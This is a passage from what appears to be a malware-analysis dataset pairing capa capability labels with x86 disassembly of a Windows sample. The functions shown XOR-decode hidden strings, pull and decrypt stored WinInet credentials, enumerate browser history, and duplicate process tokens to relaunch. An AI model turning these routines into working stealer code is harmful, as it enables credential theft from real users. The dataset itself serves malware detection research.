joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4271e4
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x467c31
call fcn.004656a0
sub esp, 0x194
push ebx
push esi
push edi
mov edi, ecx
lea esi, [edx - 1]
push ecx
lea ecx, [ebp - 0x1a0]
call fcn.00410f1a
and dword [ebp - 4], 0
mov ebx, 0x47734b
sub esi, 3
je 0x4272c3
sub esi, 1
je 0x4272b0
sub esi, 1
jne 0x4273f7
mov ecx, dword [ebp + 0x14]
call fcn.00432854
mov ecx, dword [ebp + 0xc]
mov edi, eax
call fcn.00432854
mov ecx, dword [ebp + 8]
mov esi, eax
call fcn.00432854
push edi
mov edx, esi
mov ecx, eax
call fcn.00432cbb
movaps xmm0, xmmword [0x47d2d0]
mov esi, eax
movups xmmword [ebp - 0x3c], xmm0
pop ecx
movaps xmm0, xmmword [0x47cb80]
xor ecx, ecx
movups xmmword [ebp - 0x2c], xmm0
mov al, byte [ebp - 0x3c]
xor byte [ebp + ecx - 0x3b], al
inc ecx
cmp ecx, 0x1e
jb 0x42726d
mov edi, 0x48b9b8
mov byte [ebp - 0x1d], 0
lea edx, [ebp - 0x3b]
mov ecx, edi
call fcn.00413108
mov edx, 0x4882ec
mov ecx, eax
call fcn.00413456
mov edx, esi
mov ecx, edi
call fcn.00413108
inc dword [0x48b97c]
push esi
call fcn.0043d636
jmp 0x4272bd
push dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov ecx, edi
call fcn.00427035
pop ecx
jmp 0x4273f7
mov ecx, dword [ebp + 0xc]
mov eax, dword [ecx + 8]
mov esi, dword [ecx]
add eax, esi
mov edx, dword [ecx + 4]
add eax, edx
cmp dword [ebp + 0x10], eax
jb 0x4273f7
mov edi, dword [ecx + 0x14]
lea eax, [ecx + 0x24]
mov dword [ebp - 0x18], eax
lea eax, [esi + edx]
add eax, ecx
shr edi, 1
mov dword [ebp - 0x1c], eax
je 0x4273f7
mov ecx, dword [ebp + 8]
call fcn.00432854
mov edx, eax
mov ecx, ebx
call fcn.004324c4
mov dl, 0x38
mov byte [ebp - 0x11], 0
mov cl, 0x32
mov byte [ebp - 0x13], dl
xor cl, dl
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x12], cl
lea edx, [ebp - 0x12]
mov ecx, eax
call fcn.004324c4
mov ebx, dword [ebp - 0x18]
mov esi, eax
mov ecx, dword [ebx]
add ecx, dword [ebp - 0x1c]
call fcn.00432854
mov edx, eax
mov ecx, esi
call fcn.004324c4
add ebx, 0x20
mov dword [ebp - 0x10], 0x71717b
mov esi, eax
mov dword [ebp - 0x18], ebx
mov dl, 0x7b
xor ecx, ecx
xor byte [ebp + ecx - 0xf], dl
inc ecx
cmp ecx, 2
jae 0x42735d
mov dl, byte [ebp - 0x10]
jmp 0x42734e
lea edx, [ebp - 0xf]
mov byte [ebp - 0xd], 0
mov ecx, esi
call fcn.004324c4
push ecx
lea ecx, [ebp - 0xf0]
mov ebx, eax
call fcn.00410f1a
mov byte [ebp - 4], 1
xor edx, edx
movaps xmm0, xmmword [0x47cdc0]
movups xmmword [ebp - 0x2d], xmm0
mov byte [ebp - 0x1d], 0
mov cl, byte [ebp - 0x2d]
xor cl, byte [ebp + edx - 0x2c]
mov byte [ebp + edx - 0x2c], cl
inc edx
cmp edx, 0xf
jb 0x42738e
mov byte [ebp - 0x1d], 0
call fcn.0043295d
push ecx
push ecx
lea edx, [ebp - 0x2c]
mov ecx, eax
call fcn.004324c4
push eax
lea ecx, [ebp - 0xf0]
call fcn.00410e8a
mov edx, ebx
lea ecx, [ebp - 0xf0]
call fcn.00413108
push ebx
call fcn.0043d636
pop ecx
lea ecx, [ebp - 0xf0]
call fcn.00410e5a
lea ecx, [ebp - 0xf0]
mov byte [ebp - 4], 0
call fcn.0040ffe6
sub edi, 1
jne 0x4272f4
lea ecx, [ebp - 0x1a0]
call fcn.0040ffe6
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x4275e4
Capabilities:
Acquire credentials from windows credential manager
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
lea eax, [ebp - 0x70]
push ebx
push esi
push edi
push 0x12
mov ebx, ecx
lea edi, [ebp - 0x70]
pop ecx
mov esi, str.abe2869f_9b47_4cd9_a358_c22904dba7f7
rep movsd dword es:[edi], dword [esi]
push eax
movsw word es:[edi], word [esi]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
xor esi, esi
call edi
test eax, eax
jle 0x427621
shl word [ebp + esi*2 - 0x70], 2
lea eax, [ebp - 0x70]
push eax
inc esi
call edi
cmp esi, eax
jl 0x427610
lea eax, [ebp - 0x70]
mov dword [ebp - 0x18], 0x4a
mov dword [ebp - 0x14], eax
xor edi, edi
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
lea eax, [ebp - 4]
mov dword [ebp - 4], edi
push eax
push edi
push str.Microsoft_WinInet_
call dword [sym.imp.ADVAPI32.dll_CredEnumerateW]
test eax, eax
je 0x4276d3
mov eax, dword [ebp - 4]
test eax, eax
je 0x4276d3
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x4276d3
dec eax
mov dword [ebp - 4], eax
mov esi, dword [ecx + eax*4]
mov eax, dword [esi + 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x10]
push eax
push 1
push edi
push edi
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], edi
push eax
push edi
lea eax, [ebp - 0x20]
mov dword [ebp - 0x10], edi
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x4276ba
cmp dword [ebp - 0xc], edi
je 0x4276ba
push edi
push edi
push dword [ebp - 0x10]
mov ecx, ebx
push dword [ebp - 0xc]
push dword [esi + 8]
push 5
pop edx
call fcn.004271e4
add esp, 0x14
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 4]
test eax, eax
je 0x4276c6
mov ecx, dword [ebp - 8]
jmp 0x427660
push dword [ebp - 8]
or dword [ebp - 4], 0xffffffff
call dword [sym.imp.ADVAPI32.dll_CredFree]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4276d8
Capabilities:
Enumerate browser history

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push edi
lea eax, [ebp - 0xc]
xor ebx, ebx
push eax
push 0x46aae0
push 0x15
push ebx
push str._J7_
mov edi, ecx
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x4277a9
mov ecx, dword [ebp - 0xc]
lea edx, [ebp - 8]
mov dword [ebp - 8], ebx
push edx
push ecx
mov eax, dword [ecx]
mov eax, dword [eax + 0x1c]
call eax
test eax, eax
js 0x4277a0
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x4277a0
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x34], 0x28
jmp 0x42777e
cmp dword [ebp - 4], 1
jne 0x427797
cmp dword [ebp - 0x30], ebx
je 0x42777b
push 0x47b744
push dword [ebp - 0x30]
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
je 0x427758
xor ecx, ecx
mov word [eax], cx
mov edx, dword [ebp - 0x30]
mov ecx, edi
push eax
call fcn.00427411
pop ecx
push dword [ebp - 0x30]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
cmp dword [ebp - 0x2c], ebx
je 0x42777b
push dword [ebp - 0x2c]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov ecx, dword [ebp - 8]
lea edx, [ebp - 4]
mov dword [ebp - 4], ebx
mov eax, dword [ecx]
push edx
lea edx, [ebp - 0x34]
push edx
mov eax, dword [eax + 0xc]
push 1
push ecx
call eax
test eax, eax
jns 0x427736
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
pop edi
pop ebx
leave
ret
Function at 0x4317eb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x11], 0xcccbe847
push edi
mov edi, ecx
mov dword [ebp - 0xd], 0xdbddcad7
mov al, 0x47
mov dword [ebp - 9], 0xd4d4dc96
mov byte [ebp - 5], bl
mov ecx, ebx
not al
xor byte [ebp + ecx - 0x10], al
inc ecx
cmp ecx, 0xb
jae 0x431825
mov al, byte [ebp - 0x11]
jmp 0x431814
lea eax, [ebp - 0x10]
mov byte [ebp - 5], bl
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x4318a3
movaps xmm0, xmmword [0x47d370]
mov ecx, ebx
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], 0x919c9386
mov word [ebp - 0x13], 0x97
mov al, byte [ebp - 0x27]
not al
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x14
jb 0x431852
lea eax, [ebp - 0x26]
mov byte [ebp - 0x12], bl
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x43189c
push ebx
push ebx
push ebx
lea ecx, [ebp - 4]
mov dword [ebp - 4], ebx
push ecx
call eax
test eax, eax
js 0x43189c
mov edx, dword [ebp - 4]
test edx, edx
je 0x43189c
push ecx
mov ecx, edi
call fcn.004316ee
mov eax, dword [ebp - 4]
pop ecx
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x431c49
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0043e5d0
push esi
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ecx
push eax
push 0x20019
xor esi, esi
push esi
push dword [ebp + 8]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x431d13
push ebx
push esi
push esi
push esi
push esi
lea eax, [ebp - 4]
mov ebx, esi
push eax
lea eax, [ebp - 0x100c]
push eax
push esi
jmp 0x431cf5
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, dword [ebp - 4]
lea eax, [eax*2 + 4]
push eax
call fcn.004444be
pop ecx
push dword [ebp + 8]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x47c064
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x100c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [ebp - 0xc]
push esi
call fcn.004318a8
push esi
call fcn.004436e1
pop ecx
pop ecx
inc ebx
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x100c]
push eax
push ebx
push dword [ebp - 8]
mov dword [ebp - 4], 0x7ff
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x431c91
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop esi
leave
ret

Function at 0x431d16
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.0043e5d0
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 8]
push edi
push eax
push 0x20019
xor edi, edi
mov dword [ebp - 0x10], ecx
push edi
push esi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x431e28
push edi
push edi
push edi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 0xc], edi
push eax
lea eax, [ebp - 0x1010]
mov dword [ebp - 4], 0x7ff
push eax
push edi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x431e1f
push ebx
mov ebx, dword [ebp + 0xc]
test esi, esi
je 0x431d87
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
test ebx, ebx
je 0x431d94
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
jmp 0x431d96
xor eax, eax
add eax, edi
add eax, dword [ebp - 4]
lea eax, [eax*2 + 4]
push eax
call fcn.004444be
pop ecx
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x47c064
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x1010]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
test ebx, ebx
je 0x431dd9
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [ebp - 0x10]
push edi
call fcn.00431c49
push edi
call fcn.004436e1
mov edi, dword [ebp - 0xc]
xor eax, eax
pop ecx
pop ecx
push eax
push eax
push eax
push eax
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x7ff
push eax
lea eax, [ebp - 0x1010]
inc edi
push eax
push edi
push dword [ebp - 8]
mov dword [ebp - 0xc], edi
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push 0
pop edi
test eax, eax
je 0x431d7a
pop ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
leave
ret
Function at 0x43261d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], ecx
test edi, edi
je 0x432636
and dword [edi], 0
mov ebx, dword [ebp + 0x14]
xor esi, esi
cmp ebx, 1
jne 0x432647
mov eax, 0x200
jmp 0x432657
xor eax, eax
mov dword [ebp + 0xc], 0x100
cmp ebx, 2
cmove eax, dword [ebp + 0xc]
lea ebx, [ebp + 0xc]
or eax, 0x20019
push ebx
push eax
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, dword [ebp + 0x14]
test eax, eax
jne 0x4326ea
lea eax, [ebp + 0x14]
push eax
push 0
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4326dd
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x4326dd
cmp dword [ebp - 4], 1
jne 0x4326a0
cmp eax, 1
je 0x4326dd
add eax, 4
push eax
call fcn.004444be
mov esi, eax
pop ecx
test esi, esi
je 0x4326dd
lea eax, [ebp + 0x14]
push eax
push esi
push 0
push 0
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4326d4
test edi, edi
je 0x4326dd
mov eax, dword [ebp + 0x14]
mov dword [edi], eax
jmp 0x4326dd
push esi
call fcn.004436e1
pop ecx
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x432709
cmp ebx, 2
jae 0x432709
mov edx, dword [ebp - 8]
lea eax, [ebx + 1]
mov ecx, dword [ebp - 0xc]
push eax
push 0
push edi
push dword [ebp + 8]
call fcn.0043261d
add esp, 0x10
jmp 0x43270b
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x43295d
Capabilities:
Encode data using xor
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
xor ebx, ebx
mov dword [ebp - 0xd], 0xfdebed47
mov al, 0x47
mov dword [ebp - 9], 0xf7eae8ea
mov dword [ebp - 5], 0xfdf4f1fe
mov ecx, ebx
mov byte [ebp - 1], bl
not al
xor byte [ebp + ecx - 0xc], al
inc ecx
cmp ecx, 0xb
jae 0x432996
mov al, byte [ebp - 0xd]
jmp 0x432985
push 0x104
lea eax, [ebp - 0x120]
mov byte [ebp - 1], bl
push eax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
movaps xmm0, xmmword [0x47d4b0]
xor ecx, ecx
cmp ecx, eax
mov dword [ebp - 4], 0xbb9088
lea eax, [ebp - 0x120]
mov edx, ebx
sbb ecx, ecx
and ecx, eax
movups xmmword [ebp - 0x14], xmm0
mov al, byte [ebp - 0x14]
not al
xor byte [ebp + edx - 0x13], al
inc edx
cmp edx, 0x12
jb 0x4329d1
lea edx, [ebp - 0x13]
mov byte [ebp - 1], bl
call fcn.004324c4
pop ebx
leave
ret
Function at 0x4329ee
Capabilities:
Get disk information

Disassembly:
mov eax, 0x4685c3
call fcn.004656a0
sub esp, 0x2c
push esi
push edi
mov edi, ecx
xor eax, eax
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [ebp - 4], eax
push 0x104
mov dword [ebp - 0x1c], 1
call fcn.0043da0b
mov esi, eax
mov dword [ebp - 0x18], eax
pop ecx
test esi, esi
je 0x432a3f
push 0x104
push 0
push esi
call fcn.00440770
add esp, 0xc
jmp 0x432a44
xor esi, esi
mov dword [ebp - 0x18], esi
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea eax, [esi + 2]
mov dword [ebp - 0x10], eax
mov esi, eax
push 0x19
pop eax
mov dword [ebp - 0x14], eax
mov cl, byte [esi - 2]
test cl, cl
je 0x432ab1
mov al, byte [esi - 1]
and dword [ebp - 0x28], 0
mov byte [ebp - 0xf], al
mov al, byte [esi]
mov byte [ebp - 0xe], al
lea eax, [ebp - 0x10]
push 3
mov byte [ebp - 0x10], cl
lea ecx, [ebp - 0x38]
push eax
mov dword [ebp - 0x24], 0xf
mov byte [ebp - 0x38], 0
call fcn.00411c32
lea eax, [ebp - 0x38]
mov dword [ebp - 4], 1
push eax
mov ecx, edi
call fcn.004197e0
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0
call fcn.00412665
mov eax, dword [ebp - 0x14]
add esi, 4
sub eax, 1
mov dword [ebp - 0x14], eax
jne 0x432a5e
mov esi, dword [ebp - 0x18]
push esi
call fcn.0043d636
pop ecx
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x4357d2
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
mov eax, 0x46883d
call fcn.004656a0
sub esp, 0xbc
push ebx
push esi
xor ebx, ebx
mov esi, ecx
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x50], 0xf
mov byte [ebp - 0x64], bl
xor eax, eax
mov edx, ebx
inc eax
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x47d660]
movups xmmword [ebp - 0x85], xmm0
mov dword [ebp - 0x24], 0x40
movaps xmm0, xmmword [0x47d610]
mov dword [ebp - 0x28], eax
movups xmmword [ebp - 0x75], xmm0
mov byte [ebp - 0x65], bl
mov cl, byte [ebp - 0x85]
not cl
xor byte [ebp + edx - 0x84], cl
inc edx
cmp edx, 0x1f
jb 0x435829
push edi
lea eax, [ebp - 0x20]
mov byte [ebp - 0x65], bl
push eax
push 0x20119
push ebx
lea eax, [ebp - 0x84]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, eax
mov dword [ebp - 0x19], 0xa2a08c3e
mov cl, 0x3e
mov dword [ebp - 0x15], 0xa4afa8a9
mov dword [ebp - 0x11], 0xa5a8b486
mov edx, ebx
mov byte [ebp - 0xd], bl
not cl
xor byte [ebp + edx - 0x18], cl
inc edx
cmp edx, 0xb
jae 0x43588d
mov cl, byte [ebp - 0x19]
jmp 0x43587c
lea eax, [ebp - 0x24]
mov byte [ebp - 0xd], bl
push eax
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x28]
push eax
push ebx
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test edi, edi
pop edi
jne 0x4358c5
test eax, eax
jne 0x4358c5
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0x64]
call fcn.004127d6
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x64]
mov dword [ebp - 0x38], ebx
push eax
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x34], ebx
call fcn.004128ab
mov byte [ebp - 4], 2
mov ecx, esi
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], 0xf
push 0x47734b
mov byte [esi], bl
call fcn.004127d6
mov dword [ebp - 0x2c], 1
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
cmovae eax, dword [ebp - 0x48]
cmp byte [eax + ebx], 0
je 0x43593a
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
cmovae eax, dword [ebp - 0x48]
movsx eax, byte [eax + ebx]
push eax
call fcn.0044eeb4
pop ecx
mov byte [ebp - 0x30], al
mov ecx, esi
push dword [ebp - 0x30]
call fcn.004126b5
inc ebx
jmp 0x435903
lea ecx, [ebp - 0x48]
call fcn.00412665
lea ecx, [ebp - 0x64]
call fcn.00412665
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x435b8a
Capabilities:
Create process on windows
Enumerate processes
Impersonate user

Disassembly:
mov eax, 0x468882
call fcn.004656a0
sub esp, 0x580
push ebx
xor ebx, ebx
mov dword [ebp - 0x1a], 0xc7cfd248
push edi
mov cl, 0x48
mov dword [ebp - 0x16], 0xd2c5d8db
mov dword [ebp - 0x12], 0xcfd299c5
mov edx, ebx
mov word [ebp - 0xe], 0xd2
not cl
xor byte [ebp + edx - 0x19], cl
inc edx
cmp edx, 0xc
jae 0x435bce
mov cl, byte [ebp - 0x1a]
jmp 0x435bbd
lea eax, [ebp - 0x19]
mov byte [ebp - 0xd], bl
push eax
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], bl
call fcn.004127d6
push ebx
push 2
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x384], 0x22c
lea eax, [ebp - 0x384]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x435d2f
push esi
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x54]
call fcn.0043595a
lea edx, [ebp - 0x360]
mov ecx, eax
lea esi, [edx + 2]
mov ax, word [edx]
add edx, 2
cmp ax, bx
jne 0x435c2f
mov eax, dword [ecx + 0x10]
sub edx, esi
sar edx, 1
cmp dword [ecx + 0x14], 8
jb 0x435c49
mov ecx, dword [ecx]
cmp eax, edx
jne 0x435c60
push eax
lea edx, [ebp - 0x360]
call fcn.00412965
pop ecx
test eax, eax
jne 0x435c60
mov bl, 1
lea ecx, [ebp - 0x54]
call fcn.00412448
test bl, bl
je 0x435d16
push dword [ebp - 0x37c]
xor ebx, ebx
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
lea eax, [ebp - 0x20]
push eax
push 0xf01ff
push esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x435d0d
lea eax, [ebp - 0x24]
push eax
push 1
push 2
push ebx
push 0xf01ff
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x435d0d
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x104
lea eax, [ebp - 0x158]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x158]
push eax
call fcn.00449520
inc eax
push eax
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x58c]
push eax
call fcn.0044ecf4
add esp, 0x10
lea eax, [ebp - 0x58c]
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
push ebx
push 1
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x435d18
xor ebx, ebx
lea eax, [ebp - 0x384]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x435c19
pop esi
lea ecx, [ebp - 0x3c]
call fcn.00412665
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x435d47
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x39c
push ebx
push edi
push 0x44
xor ebx, ebx
lea eax, [ebp - 0x90]
push ebx
push eax
call fcn.00440770
xor eax, eax
lea edi, [ebp - 0x4c]
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
push 0x104
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x194]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movaps xmm0, xmmword [0x47d430]
mov ecx, ebx
movups xmmword [ebp - 0x3a], xmm0
mov dword [ebp - 0xa], 0x8fd1de98
movaps xmm0, xmmword [0x47d520]
movups xmmword [ebp - 0x2a], xmm0
mov dword [ebp - 6], 0x8ddbdcde
movaps xmm0, xmmword [0x47d5c0]
movups xmmword [ebp - 0x1a], xmm0
mov word [ebp - 2], 0xdc
mov al, byte [ebp - 0x3a]
not al
xor byte [ebp + ecx - 0x39], al
inc ecx
cmp ecx, 0x38
jb 0x435db9
lea eax, [ebp - 0x194]
mov byte [ebp - 1], bl
push eax
lea eax, [ebp - 0x39]
push eax
lea eax, [ebp - 0x39c]
push 0x208
push eax
call fcn.00432463
add esp, 0x10
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x90]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
lea eax, [ebp - 0x39c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x4c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebx
leave
ret

Function at 0x437ce6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
push esi
push edi
mov edi, edx
lea eax, [ecx - 1]
mov dword [ebp - 4], edi
mov dword [ebp - 0xc], eax
mov esi, edi
sar eax, 1
mov dword [ebp - 8], eax
cmp edi, eax
jge 0x437d41
add esi, esi
lea eax, [esi + 2]
imul ecx, eax, 0x18
add ecx, ebx
lea edx, [ecx - 0x18]
call fcn.00426d94
movzx eax, al
xor eax, 1
imul ecx, edi, 0x18
inc eax
add esi, eax
imul eax, esi, 0x18
add ecx, ebx
add eax, ebx
push eax
call fcn.00411cee
mov eax, dword [ebp - 8]
mov edi, esi
cmp esi, eax
jl 0x437d0a
mov ecx, dword [ebp + 8]
cmp esi, eax
jne 0x437d60
test cl, 1
jne 0x437d60
imul eax, ecx, 0x18
imul ecx, edi, 0x18
add eax, 0xffffffe8
add eax, ebx
add ecx, ebx
push eax
call fcn.00411cee
mov edi, dword [ebp - 0xc]
cmp dword [ebp - 4], edi
jge 0x437d94
mov edx, dword [ebp + 0xc]
lea esi, [edi - 1]
sar esi, 1
imul eax, esi, 0x18
add eax, ebx
mov ecx, eax
mov dword [ebp + 8], eax
call fcn.00426d94
test al, al
je 0x437d94
push dword [ebp + 8]
imul ecx, edi, 0x18
add ecx, ebx
call fcn.00411cee
mov edi, esi
cmp dword [ebp - 4], esi
jl 0x437d65
push dword [ebp + 0xc]
imul ecx, edi, 0x18
add ecx, ebx
call fcn.00411cee
pop edi
pop esi
pop ebx
leave
ret
Function at 0x439207
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, edx
push esi
push edi
mov esi, ecx
lea eax, [ebx - 1]
cmp eax, 7
jbe 0x439223
mov dword [esi + 0x6afa4], str.bad_pack_level
xor edi, edi
mov dword [esi + 0x6af78], edi
cmp dword [esi + 0x6af70], edi
jne 0x439247
mov dword [esi + 0x6af78], 1
mov dword [esi + 0x6af70], 0x10000
push 0x1fffc
lea eax, [esi + 0x4af70]
mov dword [esi + 0x6af6c], edi
push edi
push eax
call fcn.00440770
movzx eax, word [ebx*8 + 0x479cea]
add esp, 0xc
mov dword [esi + 0x6af98], eax
movzx eax, word [ebx*8 + 0x479ce8]
mov dword [esi + 0x6af9c], eax
movzx eax, word [ebx*8 + 0x479cec]
push 2
mov dword [esi + 0x6afa0], eax
movzx eax, word [ebx*8 + 0x479cee]
pop ecx
mov dword [esi + 0x6af94], eax
cmp ebx, ecx
jg 0x4392aa
mov eax, dword [ebp + 8]
or word [eax], 4
jmp 0x4392b5
cmp ebx, 8
jl 0x4392b5
mov eax, dword [ebp + 8]
or word [eax], cx
mov eax, dword [esi + 0xc]
lea ebx, [esi + 0x1af70]
push 0x10000
push ebx
push esi
mov dword [esi + 0x6af84], edi
mov dword [esi + 0x6af74], edi
call eax
add esp, 0xc
mov dword [esi + 0x6af90], eax
test eax, eax
